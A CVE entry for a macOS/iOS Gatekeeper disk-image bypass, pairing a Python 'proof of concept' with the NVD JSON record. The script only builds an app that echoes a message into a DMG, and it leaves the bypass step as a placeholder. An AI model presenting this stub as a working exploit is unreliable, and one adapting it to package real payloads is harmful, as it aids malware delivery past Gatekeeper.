CVE-2026-28954

#!/usr/bin/env python3 """ PoC for CVE-2026-28954 (Conceptual) This script demonstrates how a malicious disk image might be crafted to test Gatekeeper behavior. Actual exploitation requires specific vulnerability details. """ import os import subprocess def create_malicious_dmg(): # 1. Create a directory structure for the payload payload_dir = "malicious_payload.app" os.makedirs(payload_dir + "/Contents/MacOS", exist_ok=True) # 2. Create a simple malicious executable (dummy) with open(payload_dir + "/Contents/MacOS/drop", "w") as f: f.write("#!/bin/bash\necho 'Gatekeeper Bypassed'") os.chmod(payload_dir + "/Contents/MacOS/drop", 0o755) # 3. Create a basic Info.plist (required for .app) plist_content = """ <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>CFBundleExecutable</key> <string>drop</string> <key>CFBundleIdentifier</key> <string>com.example.malicious</string> </dict> </plist> """ with open(payload_dir + "/Contents/Info.plist", "w") as f: f.write(plist_content) # 4. Package into a DMG (Conceptual command) # Note: Specific flags to trigger the bypass would go here print("[*] Crafting malicious disk image...") try: # This command requires macOS and hdiutil subprocess.run(["hdiutil", "create", "-srcfolder", payload_dir, "CVE-2026-28954_PoC.dmg"], check=True) print("[+] Disk image created: CVE-2026-28954_PoC.dmg") print("[!] Attempting to mount to test bypass...") subprocess.run(["hdiutil", "attach", "CVE-2026-28954_PoC.dmg"]) except FileNotFoundError: print("[-] hdiutil not found. This PoC must be run on macOS.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": create_malicious_dmg()

{"cve": {"id": "CVE-2026-28954", "sourceIdentifier": "[email protected]", "published": "2026-05-11T21:18:56.467", "lastModified": "2026-05-12T17:21:41.890", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A file quarantine bypass was addressed with additional checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. A maliciously crafted disk image may bypass Gatekeeper checks."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.9", "matchCriteriaId": "F3968B76-E6DE-416D-A0FB-E4833FFAAE0F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.9", "matchCriteriaId": "B6431EAF-B395-4C19-9AB6-A2F45991C897"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.8.7", "matchCriteriaId": "DD9E7FAE-30DA-4B2B-A63A-6DFEA7A29933"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.7", "matchCriteriaId": "2984C440-3DC2-413A-B5FA-1FAB21078DB8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.5", "matchCriteriaId": "6CB91417-90A8-4A9B-A1D0-1D94B80EF837"}]}]}], "references": [{"url": "https://support.apple.com/en-us/127111", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127115", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127116", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127117", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}